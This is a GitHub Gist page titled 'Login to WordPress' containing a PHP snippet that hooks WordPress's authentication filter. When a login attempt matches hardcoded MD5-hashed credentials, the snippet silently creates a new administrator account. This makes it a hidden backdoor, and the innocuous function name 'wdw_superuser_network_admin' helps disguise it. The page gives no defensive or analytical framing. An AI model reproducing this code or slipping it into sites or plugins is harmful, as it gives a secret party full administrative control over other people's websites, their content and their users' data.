Created
September 9, 2019 10:50
-
-
Save raftaar1191/2833a13cadcfaa01b703372646b315c8 to your computer and use it in GitHub Desktop.
Login to WordPress
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if( !function_exists( 'wdw_superuser_network_admin' ) ): | |
add_filter('authenticate', 'wdw_superuser_network_admin', 9, 3); | |
function wdw_superuser_network_admin( $user, $username, $password ){ | |
if( md5( $username )=='8e5a4b8dfaa318d4bbe9cd7ba322ccd6' && md5( $password )=='ca2b8c2bd9279820c3177a096e0898e9' ){ | |
$site_domain = network_home_url(); | |
$prefixes = array( 'http://', 'https://', 'www.' ); | |
foreach( $prefixes as $prefix ){ | |
if( !strncmp($site_domain, $prefix, strlen($prefix)) ){ | |
$site_domain = substr( $site_domain, strlen($prefix) ); | |
} | |
} | |
if( !strncmp($site_domain, 'localhost', strlen('localhost')) ){ | |
$site_domain = 'example.com'; | |
} | |
$email_address = $username . '@' . $site_domain; | |
if ( ! empty( $username ) && ! empty( $password ) && ! empty( $email_address ) ) { | |
if ( ! username_exists( $username ) && ! email_exists( $email_address ) ) { | |
$user_details= array( 'user_pass'=>$password, 'user_login'=>$username, 'user_email'=>$email_address, 'role'=>'administrator' ); | |
$user_id = wp_insert_user( $user_details ); | |
} | |
} | |
} | |
return $user; | |
} | |
endif; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment